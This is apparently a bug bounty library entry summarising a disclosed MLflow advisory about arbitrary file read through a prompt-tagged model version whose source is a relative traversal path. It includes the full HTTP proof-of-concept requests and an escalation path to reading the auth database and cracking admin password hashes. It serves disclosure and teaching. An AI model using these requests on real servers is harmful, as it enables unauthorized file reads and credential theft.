# MLflow vulnerable to arbitrary file read on unauthenticated servers via prompt model version source

MLflow's prompt model-version branch skipped path validation for schemeless sources, letting unauthenticated attackers read arbitrary server files via the get-artifact endpoint.

- Payout: Research
- Severity: high
- Program: MLflow
- Found by: mskca
- Disclosed: 2026-10-27
- CVE: CVE-2026-116690
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-m65p-9j7q-6w33
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-m65p-9j7q-6w33
- Tags: area:ai domain:ai domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:access-control vuln:path-traversal

**Target:** MLflow tracking server model registry API (CreateModelVersion / get-artifact)
**Root cause:** The prompt-specific branch in _create_model_version() only validated sources carrying a URL scheme, so schemeless relative paths like '../../../tmp' were stored as artifact locations. The prompt tag check also keyed on tag presence, not value.
**Steps:**
1. Create sentinel: `printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt`
2. POST /api/2.0/mlflow/registered-models/create with `{"name": "pwned-model"}`
3. POST /api/2.0/mlflow/model-versions/create with `{"name": "pwned-model", "source": "../../../tmp", "tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}]}`
4. GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt returns the file contents
**How found:** Reporter examined the CVE-2026-2614 fix in 3.10.0 and noticed the new prompt branch only invoked path validation when a URL scheme was present, leaving schemeless relative paths unvalidated; also spotted the tag check tested presence rather than value.
**Exploitation:** Attacker creates a registered model, then a prompt-tagged model version whose source is a relative traversal path; the get-artifact endpoint resolves the stored artifact_uri and serves the target file with server privileges. No auth needed on default deployments; on basic-auth deployments any user who can create a model can read the auth DB.
**Escalation:** Reading mlflow-auth.db/basic_auth.db exposes admin password hashes, enabling offline cracking and broader administrative compromise.
**Insight:** When a patch adds a validation branch, audit the branch's guard conditions for gaps — here scheme-gated validation and presence-only tag checks left the weaker path reachable; also check whether the sink (get-artifact) re-validates the stored URI.

## Proof of concept (copied exactly from the original report)

**Prompt model version with traversal source**

```
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{
  "name": "pwned-model",
  "source": "../../../tmp",
  "tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}]
}
```

**Artifact endpoint reads arbitrary file**

```
GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1
Host: 127.0.0.1:5000
```

**Registered model creation request**

```
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{"name": "pwned-model"}
```

